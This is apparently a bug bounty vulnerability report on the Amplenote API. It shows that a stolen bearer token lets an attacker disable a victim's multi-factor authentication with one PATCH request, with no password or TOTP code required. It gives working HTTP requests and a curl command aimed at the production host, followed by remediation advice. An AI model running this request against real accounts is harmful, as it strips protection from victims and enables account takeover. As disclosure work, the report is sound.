Summary
A critical security control bypass exists in the Amplenote API that allows an attacker with a valid session token to silently disable Multi-Factor Authentication (MFA) on a victim's account without requiring the current password or a valid TOTP code. This reduces the victim's account security without their knowledge or consent.
Affected Assets
Endpoint: PATCH https:
Production system: edge.amplenote.com / api-edge.amplenote.com
Severity
Medium — CVSS 4.0
Impact: Security control bypass (MFA downgrade)
Preconditions
Attacker must possess a valid Bearer token for the target account. This can be obtained via:
Cross-Site Scripting (XSS) — token is present in the DOM (data-react-props)
Session hijacking
Compromised device / shared computer
Malicious browser extension
Victim must have MFA enabled on their account.
Steps to Reproduce
1. Verify target account has MFA enabled
GET /v4/accounts HTTP/1.1
Host: api-edge.amplenote.com
Authorization: Bearer <stolen_token>
Accept: application/json
Response confirms MFA is active:
{
"email": "victim@example.com",
"mfa": true,
...
}
2. Disable MFA without password or TOTP code
PATCH /v4/accounts/mfa HTTP/1.1
Host: api-edge.amplenote.com
Authorization: Bearer <stolen_token>
Content-Type: application/json
{"enabled": false}
Response:
HTTP/1.1 200 OK
{}
3. Confirm MFA is now disabled
GET /v4/accounts HTTP/1.1
Host: api-edge.amplenote.com
Authorization: Bearer <stolen_token>
Accept: application/json
Response confirms MFA has been stripped:
{
"email": "victim@example.com",
"mfa": false,
...
}
cURL Reproduction (single command)
curl -X PATCH "https://api-edge.amplenote.com/v4/accounts/mfa" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"enabled": false}'
Impact
An attacker who obtains a valid session token can:
Silently disable MFA — the victim receives no notification that MFA was removed.
Maintain persistent access — future logins by the attacker will not require a TOTP code.
Escalate to full account takeover — combined with password change (if that flow doesn't require MFA confirmation), the attacker gains permanent exclusive control.
This effectively reduces the security posture of any MFA-protected account to single-factor authentication with a single unauthenticated API call.
Remediation
The PATCH /v4/accounts/mfa endpoint should require re-authentication before disabling MFA. Industry-standard approaches:
Require current TOTP code — the user must provide a valid 6-digit code from their authenticator app to confirm the disable action.
Require current password — as a fallback when TOTP device is unavailable.
Session step-up authentication — require a fresh login (password + TOTP) before allowing security-sensitive operations.
Notify the user — send an email notification when MFA is disabled, with a recovery link to re-enable.